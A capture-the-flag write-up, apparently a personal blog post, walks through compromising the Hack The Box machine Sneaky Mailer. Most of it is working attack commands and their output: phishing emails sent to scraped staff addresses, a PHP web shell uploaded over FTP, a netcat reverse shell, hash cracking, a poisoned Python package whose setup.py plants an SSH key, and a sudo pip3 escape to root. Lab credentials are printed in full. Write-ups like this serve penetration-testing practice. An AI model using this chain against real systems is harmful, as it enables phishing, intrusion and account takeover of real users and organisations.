HTB: Sneaky Mailer


This machine is Sneaky Mailer from Hack The Box


kali@kali:~$ nmap -sV -p-
Starting Nmap 7.91 ( ) at 2020-11-08 07:43 EST
Nmap scan report for
Host is up (0.015s latency).
Not shown: 65528 closed ports
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.14.2
143/tcp  open  imap     Courier Imapd (released 2018)
993/tcp  open  ssl/imap Courier Imapd (released 2018)
8080/tcp open  http     nginx 1.14.2
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 26.73 seconds


I tried to access but got redirected to http://sneakycorp.htb/ so I added it to hosts

Screenshot 1

The I looked at http://sneakycorp.htb/team.php

Screenshot 2

There were 57 people on this list

Screenshot 3

I then checked out http://sneakycorp.htb:8080/

Screenshot 4

Back on port 80, im the source of index

Screenshot 5


Screenshot 6

But the form didn’t seem to work. So I decided to try and phish the emails. First I used cewl to grab them all

kali@kali:~$ cewl -e --email_file emails.txt http://sneakycorp.htb/team.php

kali@kali:~$ head -10 emails.txt
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

The intention was to email them all a link and see if anyone connected to it. So I setup a python http server

kali@kali:~$ python -m SimpleHTTPServer 80
Serving HTTP on port 80 ...

And you swaks to send lots of emails

kali@kali:~$ while read email; do
    swaks --to $email --from [email protected] --server --body "Please login at" --h-Subject "Login Tests"
done < emails.txt
=== Trying
=== Connected to
<-  220 debian ESMTP Postfix (Debian/GNU)
 -> EHLO kali
<-  250-debian
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<[email protected]>
<-  250 2.1.0 Ok
 -> RCPT TO:<[email protected]>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Sun, 08 Nov 2020 08:19:59 -0500
 -> To: [email protected]
 -> From: [email protected]
 -> Subject: Login Tests
 -> Message-Id: <20201108081959.002838@kali>
 -> X-Mailer: swaks v20201014.0
 -> Please login at
 -> .
<-  250 2.0.0 Ok: queued as 988502467B
 -> QUIT

And after a little while - - [08/Nov/2020 08:26:32] code 501, message Unsupported method ('POST') - - [08/Nov/2020 08:26:32] "POST / HTTP/1.1" 501 -

And this is where I found out simplehttpserver doesn’t support POST. So I shut it down and set an nc listener instead

kali@kali:~$ sudo nc -nlvp 80

And re ran it, after a while again

connect to [] from (UNKNOWN) [] 48732
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded


I de url encoded it

firstName=Paul&lastName=Byrd&[email protected]&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Which gave me creds of

[email protected] : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

I downloaded a mail client and logged in, finding 2 emails in the sent mail history

Screenshot 7

The first one

Screenshot 8

Hello administrator, I want to change this password for the developer account

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it

The admin hadn’t sent another email to say it had been changed. But I checked the second email

Screenshot 9

Hello low

Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.

This one didn’t seem useful yet, but I kept it in mind. I then tried to login with the creds for developer on ssh. But had no luck. So I instead scanned for any subdomains I may have not found yet

kali@kali:~$ wfuzz -c -z file,/opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.sneakycorp.htb" -u sneakycorp.htb --hc 301
 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.0.1 - The Web Fuzzer                         *

Target: http://sneakycorp.htb/
Total requests: 114532

ID           Response   Lines    Word     Chars       Payload

000000019:   200        340 L    989 W    13737 Ch    "dev"

Total time: 188.6342
Processed Requests: 114532
Filtered Requests: 114531
Requests/sec.: 607.1644

So I added this to hosts http://dev.sneakycorp.htb/

Screenshot 10

And then tried the creds on ftp

kali@kali:~$ ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( developer
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.


ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jun 30 00:15 dev
226 Directory send OK.

Inside the dev directory

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 18:52 css
drwxr-xr-x    2 0        0            4096 May 26 18:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 08:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 18:52 js
drwxr-xr-x    2 0        0            4096 May 26 18:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 18:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 19:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 18:52 vendor

It seems to be the webroot for the dev subdomain. So I created a shell php file

kali@kali:~$ echo '<?php system($_POST['c']); ?>' > shell.php

And uploaded it

ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
28 bytes sent in 0.00 secs (1.0270 MB/s)

Which I then tested

kali@kali:~$ curl -X POST --data "c=id" http://dev.sneakycorp.htb/shell.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)

With RCE confirmed I set a listener

kali@kali:~$ nc -nlvp 4444

And spanwed a shell

kali@kali:~$ curl -X POST --data "c=nc 4444 -e /bin/bash" http://dev.sneakycorp.htb/shell.php

In the listener

connect to [] from (UNKNOWN) [] 57244

python -c "import pty;pty.spawn('/bin/bash')"


www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ cat /etc/passwd
cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:107:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

So some users, low and pypi seemed interesting. pypi’s home dir gave a new subdomain to add too

Screenshot 11

I then tried the password for developer on su

 www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C


From which I found a .htpasswd file for the pypi server

developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -la
ls -la
total 20
drwxr-xr-x 4 root root     4096 May 15 14:29 .
drwxr-xr-x 6 root root     4096 May 14 18:25 ..
-rw-r--r-- 1 root root       43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jun 30 02:24 packages
drwxr-xr-x 6 root pypi     4096 May 14 18:25 venv

developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
cat .htpasswd

I cracked this hash with john

kali@kali:~$ john --wordlist=/usr/share/wordlists/rockyou.txt crack
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (pypi)
1g 0:00:00:05 DONE (2020-11-08 10:15) 0.1912g/s 683417p/s 683417c/s 683417C/s soulfidelis..souderton0
Use the "--show" option to display all of the cracked passwords reliably
Session completed

This is where the second email from earlier became useful. I know the low user is meant to be testing packages that get added to this pypi server. So if I create and evil one I may be able to gain control of that account. I used as a reference guide. Which resulted in me building the following directory structure

kali@kali:~/shellpkg$ ls -laR
total 16
drwxr-xr-x  3 kali kali 4096 Nov  8 10:35 .
drwxrwxrwt 17 root root 4096 Nov  8 10:35 ..
-rw-r--r--  1 kali kali    0 Nov  8 10:35 setup.cfg
-rw-r--r--  1 kali kali  934 Nov  8 10:35
drwxr-xr-x  2 kali kali 4096 Nov  8 10:35 shellpkg

total 8
drwxr-xr-x 2 kali kali 4096 Nov  8 10:35 .
drwxr-xr-x 3 kali kali 4096 Nov  8 10:35 ..
-rw-r--r-- 1 kali kali    0 Nov  8 10:31

With the file containing the payload, which should add a new ssh key for low

kali@kali:~/shellpkg$ cat
from setuptools import setup
    with open('/home/low/.ssh/authorized_keys', 'w') as f:
        f.write('ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJMCKfAAxMQl+wUj3CtK73U36k2INCk6CWI4LyVcQH64OGypTn4ucz270ZyUBv7meKO7MzFxZna8nWeIbsjnSX4TBSkJy/C9A8nvWLAFd3bk29RpykhL5N91Ntu9mHLDhwNzrKDW8dNLaY2JIG+fjZlzHnUnB+347PpJwEnwIM+zsx42M9fhiK5aQTdaUAhr4ShGZ/l7RivD6gCshu0XMdIiubPlcGNOKGq8iQfjSEPCTIKa4eKvsuiKdUiZ3T/D/v38DoVu8SDkDJBeLoQwDoRFZr7AeBUXfOlxw0/BPPqFabHM/J8aAMxyvQX2PAEQcHBgkG+x4COEaffUj4GgbjjxBUSB5XTEFb0nxs9zNWQ7Vu7rvldqurCXnKDAPsLC7FFfgmULKsIvHbR36ufTDd8xWljY7w309w8nGWq5HkwfN+kPxWfCJtsxiqwVt8YcRxnaGmp35XGamONSiOSRB0BREhqmJid5TqbMTzFXx3K4FasRcDble9p1eqDLVjfgk=')

    description='no shell here',
    author_email='[email protected]',

I created a tar file for this

kali@kali:~$ tar cvf shellpkg.tar shellpkg

And used nc to move it to the target

kali@kali:~$ nc -nvlp 5555 < shellpkg.tar

developer@sneakymailer:/tmp$ nc 5555 > shellpkg.tar

Where I extracted it

developer@sneakymailer:/tmp$ tar xvf shellpkg.tar
tar xvf shellpkg.tar

developer@sneakymailer:/tmp$ cd shellpkg
cd shellpkg

To upload this to the pypi server I needed to specify the creds of

pypi : soufianeelhaoui

I needed a .pypirc file, the details of which I got from Importantly it needed to be in my home dir, which I couldn’t write to. So I changed it

developer@sneakymailer:/tmp$ export HOME=/tmp

I then needed to know the port for the pypi server itself (rather than the nginx in front of it)

developer@sneakymailer:~$ netstat -plnt
netstat -plnt
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0*               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp6       0      0 :::143                  :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::8080                 :::*                    LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::25                   :::*                    LISTEN      -
tcp6       0      0 :::993                  :::*                    LISTEN      -

developer@sneakymailer:~$ curl
<!DOCTYPE html>
<html lang="en">
    <meta charset="utf-8">
    <title>Welcome to pypiserver!</title>
      Welcome to pypiserver!
      This is a PyPI compatible package index serving 0 packages.
      To use this server with <code>pip</code>, run the following command:
        <code>pip install --index-url PACKAGE [PACKAGE2...]</code>
      To use this server with <code>easy_install</code>, run the following command:
        <code>easy_install --index-url PACKAGE [PACKAGE2...]</code>
      The complete list of all packages can be found <a href="/packages/">here</a> or via the <a href="/simple/">simple</a> index.
      This instance is running version 1.3.2 of the <a href="">pypiserver</a> software.

So port 5000. I then added the following .pypirc file

index-servers =
username: pypi
password: soufianeelhaoui

I then uploaded the package

developer@sneakymailer:~/shellpkg$ python3 sdist upload -r sneaky
running sdist
running egg_info
writing shellpkg.egg-info/PKG-INFO
writing dependency_links to shellpkg.egg-info/dependency_links.txt
writing top-level names to shellpkg.egg-info/top_level.txt
reading manifest file 'shellpkg.egg-info/SOURCES.txt'
writing manifest file 'shellpkg.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt,

running check
creating shellpkg-0.1
creating shellpkg-0.1/shellpkg
creating shellpkg-0.1/shellpkg.egg-info
copying files to shellpkg-0.1...
copying setup.cfg -> shellpkg-0.1
copying -> shellpkg-0.1
copying shellpkg/ -> shellpkg-0.1/shellpkg
copying shellpkg.egg-info/PKG-INFO -> shellpkg-0.1/shellpkg.egg-info
copying shellpkg.egg-info/SOURCES.txt -> shellpkg-0.1/shellpkg.egg-info
copying shellpkg.egg-info/dependency_links.txt -> shellpkg-0.1/shellpkg.egg-info
copying shellpkg.egg-info/top_level.txt -> shellpkg-0.1/shellpkg.egg-info
Writing shellpkg-0.1/setup.cfg
Creating tar archive
removing 'shellpkg-0.1' (and everything under it)
running upload
Submitting dist/shellpkg-0.1.tar.gz to
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (

And waited for a few minutes, before trying to ssh in as low

kali@kali:~$ ssh -i /tmp/low [email protected]
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun  9 03:02:52 2020 from

I could now grab the user flag

low@sneakymailer:~$ ls -la
total 48
drwxr-xr-x 8 low  low  4096 Jun  8 03:47 .
drwxr-xr-x 4 root root 4096 May 14 17:10 ..
lrwxrwxrwx 1 root root    9 May 19 21:09 .bash_history -> /dev/null
-rw-r--r-- 1 low  low   220 May 14 05:46 .bash_logout
-rw-r--r-- 1 low  low  3526 May 14 05:46 .bashrc
drwxr-xr-x 3 low  low  4096 May 16 03:34 .cache
drwx------ 3 low  low  4096 May 14 13:21 .gnupg
drwxr-xr-x 3 low  low  4096 May 16 03:37 .local
dr-x------ 2 low  low  4096 May 16 03:30 .pip
-rw-r--r-- 1 low  low   807 May 14 05:46 .profile
drwxr-xr-x 2 low  low  4096 Jun  8 03:47 .ssh
-rwxr-x--- 1 root low    33 Nov  8 07:47 user.txt
drwxr-xr-x 6 low  low  4096 May 16 03:33 venv

low@sneakymailer:~$ cat user.txt

Low can run pip3 as root

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass,

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

GTFO bins has a nice entry for pip

low@sneakymailer:~$ TF=$(mktemp -d)

low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/

low@sneakymailer:~$ sudo pip3 install $TF

# id
uid=0(root) gid=0(root) groups=0(root)

And with that I could get the root flag

# ls -la
total 44
drwx------  6 root root 4096 Jun 10 04:20 .
drwxr-xr-x 18 root root 4096 May 14 05:30 ..
lrwxrwxrwx  1 root root    9 May 26 22:32 .bash_history -> /dev/null
-rw-r--r--  1 root root  619 May 14 12:57 .bashrc
drwxr-xr-x  3 root root 4096 May 14 15:29 .cache
drwx------  3 root root 4096 Jun 10 04:20 .config
drwx------  3 root root 4096 May 15 13:10 .gnupg
drwxr-xr-x  3 root root 4096 May 14 12:57 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root  977 May 14 13:31 .python_history
-rwx------  1 root root   33 Nov  8 07:47 root.txt
-rw-r--r--  1 root root   66 May 27 13:00 .selected_editor

# cat root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.